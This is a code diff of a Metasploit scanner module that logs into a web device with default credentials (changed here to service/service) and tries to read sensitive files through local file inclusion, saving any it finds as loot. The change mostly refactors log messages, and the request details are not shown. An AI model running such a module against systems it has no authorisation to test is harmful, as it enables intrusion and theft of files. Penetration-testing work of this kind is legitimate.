@@ -31,11 +31,15 @@ def initialize
31
31
[
32
32
OptPath . new ( 'FILELIST' , [ true , "File containing sensitive files, one per line" ,
33
33
File . join ( Msf ::Config . data_directory , "wordlists" , "sensitive_files.txt" ) ] ) ,
34
- OptString . new ( 'USERNAME' , [ true , 'User to login with' , 'admin ' ] ) ,
35
- OptString . new ( 'PASSWORD' , [ true , 'Password to login with' , 'password ' ] )
34
+ OptString . new ( 'USERNAME' , [ true , 'User to login with' , 'service ' ] ) ,
35
+ OptString . new ( 'PASSWORD' , [ true , 'Password to login with' , 'service ' ] )
36
36
] , self . class )
37
37
end
38
38
39
+ def peer
40
+ "#{ rhost } :#{ rport } "
41
+ end
42
+
39
43
def extract_words ( wordfile )
40
44
return [ ] unless wordfile && File . readable? ( wordfile )
41
45
begin
@@ -60,7 +64,7 @@ def find_files(file,user,pass)
60
64
} )
61
65
62
66
if res and res . code == 200 and res . body !~ /404\ File\ Not\ Found/
63
- print_good ( "#{ rhost } : #{ rport } - Request may have succeeded on file #{ file } " )
67
+ print_good ( "#{ peer } - Request may have succeeded on file #{ file } " )
64
68
report_web_vuln ( {
65
69
:host => rhost ,
66
70
:port => rport ,
@@ -74,18 +78,18 @@ def find_files(file,user,pass)
74
78
:method => "GET"
75
79
} )
76
80
77
- loot = store_loot ( "lfi.data" , "text/plain" , rhost , res . body , file )
78
- vprint_good ( "#{ rhost } : #{ rport } - File #{ file } downloaded to: #{ loot } " )
81
+ loot = store_loot ( "lfi.data" , "text/plain" , rhost , res . body , file )
82
+ vprint_good ( "#{ peer } - File #{ file } downloaded to: #{ loot } " )
79
83
elsif res and res . code
80
- vprint_error ( "#{ rhost } : #{ rport } - Attempt returned HTTP error #{ res . code } when trying to access #{ file } " )
84
+ vprint_error ( "#{ peer } - Attempt returned HTTP error #{ res . code } when trying to access #{ file } " )
81
85
end
82
86
end
83
87
84
88
def run_host ( ip )
85
89
user = datastore [ 'USERNAME' ]
86
90
pass = datastore [ 'PASSWORD' ]
87
91
88
- vprint_status ( "#{ rhost } : #{ rport } - Trying to login with #{ user } / #{ pass } " )
92
+ vprint_status ( "#{ peer } - Trying to login with #{ user } / #{ pass } " )
89
93
90
94
# test login
91
95
begin
@@ -100,14 +104,14 @@ def run_host(ip)
100
104
return :abort if ( res . code == 404 )
101
105
102
106
if [ 200 , 301 , 302 ] . include? ( res . code )
103
- vprint_good ( "#{ rhost } : #{ rport } - Successful login #{ user } /#{ pass } " )
107
+ vprint_good ( "#{ peer } - Successful login #{ user } /#{ pass } " )
104
108
else
105
- vprint_error ( "#{ rhost } : #{ rport } - No successful login possible with #{ user } /#{ pass } " )
109
+ vprint_error ( "#{ peer } - No successful login possible with #{ user } /#{ pass } " )
106
110
return :abort
107
111
end
108
112
109
113
rescue ::Rex ::ConnectionError
110
- vprint_error ( "#{ rhost } : #{ rport } - Failed to connect to the web server" )
114
+ vprint_error ( "#{ peer } - Failed to connect to the web server" )
111
115
return :abort
112
116
end
113
117
0 commit comments